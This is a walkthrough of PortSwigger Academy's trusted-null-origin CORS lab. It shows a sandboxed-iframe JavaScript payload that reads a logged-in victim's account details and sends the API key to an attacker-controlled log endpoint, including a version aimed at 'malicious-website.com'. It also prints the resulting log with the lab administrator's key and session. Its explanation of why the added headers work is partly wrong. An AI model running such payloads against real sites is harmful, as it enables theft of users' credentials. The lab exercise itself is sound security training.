PortSwigger's "CORS vulnerability with trusted null origin" Walkthrough
This is a writeup for the “null origin” CORS lab from PortSwigger Academy. For this walkthrough, you’ll need a Portswigger Academy account.
Log in to your Academy account and then view the lab at https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack
. This is accessible from the “all labs” view or from the CORS page.
Challenge Information
Click the “Access the Lab” button and you will be taken to a temporary website that is created for your account. This will be in format https://<random string here>.web-security-academy.net/
.
CORS stands for cross-origin resource sharing, and controls what access can be made outside of a given domain. The setup for this lab is that we can send malicious content to an administrator and force the execution of Javascript in their browser.
We want to use this to get account information from them, but in order to get that information to our exploit server, we need to find a CORS misconfiguration.
Reading through the CORS guide, this section matches the name of the lab and appears to be the strategy we want:
The TL;DR is providing a valid allow-listed (“whitelisted”) value of null
, which will result in the server creating a Access-Control-Allow-Origin: null
header, allowing our attack to go through.
The website looks like this:
If we login with provided credentials wiener:peter
, we see that the API key shows up on the /my-account
page.
More specifically, it appears after a call is made to /accountDetails
:
The attack server looks like this, and is accessible through a link in the Academy banner at the top of the lab page:
Making our exploit
We can craft an exploit with specific headers and body content.
The example attack payload from the CORS page looks like this:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
This payload will load an iframe containing the /accountDetails
page response, then will try to make a request to <exploit-server>/log?key='+this.responseText
with this information. That will put the API key of the administrator into our exploit server’s log view.
If we replace that with the URLs perninent to our lab (<random-string>.web-security-academy.net
and exploit-<random-string>.web-security-academy.net
), then the attack looks like this:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://<random-string>.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-<random-string>.web-security-academy.net/log?key='+this.responseText;
};
</script>"></iframe>
If we save this (using the Store
button), then we can click View Exploit
to try it out on ourselves:
The page that opens is a blank page with a blank iframe. If we open up Dev Tools, we see this message:
We are opening the payload on the attack server, and trying to open up an iframe with content from the normal lab server. The request to the /log
files isn’t happening because of this CORS message.
Back on the exploit server page, we need to add two headers:
Host: <random-string>.web-security-academy.net
Origin: null
This tells the victim’s browser that the request is coming from the valid lab website, and that the Origin
is null
. This will result in the server sending back an Access-Control-Allow-Origin: null
header, allowing our /log
request to complete.
Lab Solution
Update the exploit server to have HTTP headers of:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Host: <random-string-here>.web-security-academy.net
Origin: null
Where <random-string> is your lab value.
Then make sure that the body content is as follows (again, updating <random-string>
:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://<random-string>.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-<random-string>.web-security-academy.net/log?key='+this.responseText;
};
</script>"></iframe>
Click Store
to save it. Then click View Exploit
to try it out on yourself. You should see this view, and no errors in the console:
Check https://exploit-<random-string>.web-security-academy.net/log
for API information from your own account.
Then click Send Exploit
to send it to the admin.
After the request completes, you should be able to check /log
in the exploit server for the admin’s API key:
172.31.31.71 2021-12-02 22:09:38 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%222dNnKQuvHX8H1SaguYa28fABOFwD9cNj%22,%20%20%22sessions%22:%20[%20%20%20%20%22LKbTe0O5WjmcaRJWimyH7ojGHABFVi2J%22%20%20]} HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"
This value URL decodes to (with extra info removed)
GET /log?key={ "username": "administrator", "email": "",
"apikey": "2dNnKQuvHX8H1SaguYa28fABOFwD9cNj",
"sessions": [ "LKbTe0O5WjmcaRJWimyH7ojGHABFVi2J" ]
}
Submit this value (2dNnKQuvHX8H1SaguYa28fABOFwD9cNj
) from the Academy header:
And the lab is solved!